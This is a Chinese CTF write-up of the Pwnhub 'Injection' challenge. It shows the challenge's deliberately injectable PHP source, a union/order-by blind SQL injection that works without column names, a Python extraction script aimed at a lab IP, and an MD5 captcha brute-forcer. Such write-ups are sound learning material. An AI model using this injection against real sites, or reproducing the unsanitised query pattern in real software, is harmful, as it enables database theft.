内容简介:记录一下一些题目很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解提示给的是 注入!注入!注入!
记录一下一些题目
Injection
很有意思的一道题目,也看了别人wp,懂得了很多,写一下自己的理解
题目分析
提示给的是 注入!注入!注入!
访问靶机,出现一张简单的登录页面
随便尝试一些弱口令和万能密码,没什么结果,右键源代码,发现提示信息
进入是一张注册界面,简单的注册个账户,先尝试登录,发现登录成功,发现很明显的id参数,所以直接开始尝试一下其他id的值(1,2,3,4)
发现 id=1
是admin的账户并且给出了提示
访问后发现是站点源码,只有5张页面
先看 profile.php
,由于代码量,所以只给出关键代码
页面开头给出了表结构,但是第四列是一个变量,也就是我们无法得到第四列名的信息
/* CREATE TABLE `users` ( `id` int(5) NOT NULL AUTO_INCREMENT, `user` varchar(20) DEFAULT NULL, `pass` varchar(32) DEFAULT NULL, `$secret` varchar(36) DEFAULT NULL, `count` int(3) DEFAULT NULL, PRIMARY KEY (`id`) ) */
剩下代码业务逻辑大致是 访问页面后会判断用户信息,记录访问次数,如果访问次数超过140次,那么兑换码就会被重置($secret字段就是存兑换码的字段)
而兑换码是根据 1234567890abcdefghijklmnopqrstuvwxyz
乱序去生成的
关键代码如下
// 兑换码生成与验证 function duihuanma_product() { $string = "1234567890abcdefghijklmnopqrstuvwxyz"; return str_shuffle($string); } function change($secret) { global $username,$row; $duihuanma = duihuanma_product(); $row = mysql_fetch_array(mysql_query("select * from users where user='$username'")); $count = $row['count']; if (!$row[$secret]){ mysql_query("update users set $secret='{$duihuanma}' where user='$username'"); } if($row['count'] == 140) { if(mysql_query("update users set $secret='{$duihuanma}' where user='$username';")) { mysql_query("update users set count=0 where user='$username';"); die("<center><br><h3>尝试次数过多,兑换码已经重置</h3></center>"); } return $duihuanma; } else { mysql_query("update users set count=({$row['count']} + 1) where user='$username';"); } return $row[$secret]; } // id值的业务代码 $id=$_GET['id']?$_GET['id']:0; if(preg_match("#\.#",$id) or preg_match("#_#",$id) or preg_match("#\(#",$id) or preg_match("#\)#",$id)) die('<h3>danger character dectected</h3>'); $sql = "select * from users where id=$id"; $result = mysql_query($sql); $rownew = @mysql_fetch_array($result); $rownew['user']=$rownew['user']?$rownew['user']:"noman"; ?> <h3>This is <?php echo $rownew['user'];?> page,您已经访问<?php echo $row['count']+1;?>次</h3><br> <?php if ($rownew['user']==='admin'){ echo "<br><h3>good job,hint: thisissourcecode.zip</h3>"; }
在看 flag.php
页面,界面效果如下
看页面也知道需要兑换码和md5验证才能获得flag,关键代码如下
// 验证码生成 $captcha= getCaptcha(4); $_SESSION['captcha'] = $captcha; function getCaptcha($length){ $str = null; $strPol = "0123456789abcdef"; $max = strlen($strPol)-1; for($i=0;$i<$length;$i++){ $str.=$strPol[rand(0,$max)]; } return $str; } // 对比验证码 if (isset($_POST['captcha']) && isset($_POST['duihuanma'])) { if(!(substr(md5($_POST['captcha']), 0, 4)===$_SESSION['captcha'])) die('<center><p>captcha not right</p></center>'); $sql = "select $secret from users where user='${_SESSION['username']}'"; #echo $sql; $result=mysql_query($sql); $row = mysql_fetch_array($result); } // 对比兑换码 if (isset($_POST['duihuanma'])){ if ($row[$secret]===$_POST['duihuanma']){ echo "<br><center>".$flag."</center>"; }else{ echo "<center>flag兑换码不正确</center>"; } }
Order by 盲注获得兑换码
代码审计下来得到了大致的思路,需要先注入得到兑换码,然后在爆破MD5验证码后,提交即可
但是注入过滤了 . _ ( )
,所以我们无法使用函数
同时我们也不知道兑换码字段名称,那么常规的方法无从下手
查阅资料得到,可以通过order by的一种注入手段来得到数据内容,具体原理可以看以下两篇文章,总结的很好
基于union查询的盲注(感谢pcat牛不吝赐教)我们可以借助这样的方法在不需要列名的情况下,比对出真实的数据
假设兑换码第一个字符是 5
,当我们执行如图的语句之后,由于 6
的ASCII码比 5
大,所以还是显示原来的数据内容
观察上面的图片,就能发现,
union
但是题目要求我们在140内需要得到答案,如果使用了二分法也无法达到140内(测试下来一个数大概需要5-6次便可以确定,36个数便远远超过)
但是兑换码生成的算法是乱序,也就是说每一个字符必定只出现一次(在想的时候 gokoucat大佬 看一眼就找到了关键点,膜拜)
那么便有可能达到140内,并且最后一次也无需去发送请求(同时膜拜 phorse师傅如何更高效的盲注爆取数据-二分法 )
那么我们便可以写出 python 脚本
# coding=utf-8 import requests import math ALL = "0123456789abcdefghijklmnopqrstuvwxyz" flag = "" cookies = {"PHPSESSID": "7v527f98146aite4mobo4n0b13"} count = 0 for i in range(35): left = 0 right = len(ALL) - 1 mid = int(math.ceil((left + right) / 2.0)) while left < right: count += 1 url = "http://10.10.118.51/profile.php?id=5 union select 1,2,3,'"+ flag + str(ALL[mid]) + "',5 order by 4" res = requests.get(url, cookies=cookies).text if "This is 2 page" in res: left = mid else: right = mid - 1 mid = int(math.ceil((left + right) / 2.0)) print(left, mid, right) flag += ALL[mid] # 去除已经出现的字符 ALL = ALL.replace(ALL[mid], '') print("-" * 100) print(flag+ALL) print(count) print("-" * 100)
这边需要注意的是,由于 x<mid or x = mid
的回显情况相同都是 This is 2 page
,而 x>mid
的回显情况是 id=5的用户名
所以计算 mid
需要向上取整
结果如下
爆破MD5验证码
我们已经获得了兑换码,那么还需要利用简单的python脚本爆破MD5验证码
import hashlib result = 1 while True: m = hashlib.md5(str(result)) m = m.hexdigest() if m[0:4] == "ee6a": print(m) print(result) break result += 1
结果如下
提交后可以成功获取flag值
后来在google中也找到了原题的wp,非常详细的解答
【原创】Pwnhub会员日一题引发的思考以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Effective Modern C++
Scott Meyers / O'Reilly Media / 2014-12 / USD 49.99
Learn how to program expertly with C++ with this practical book from Scott Meyers, one of the world's foremost authorities on this systems programming language. Scott Meyers takes some of the most dif......一起来看看 《Effective Modern C++》 这本书的介绍吧!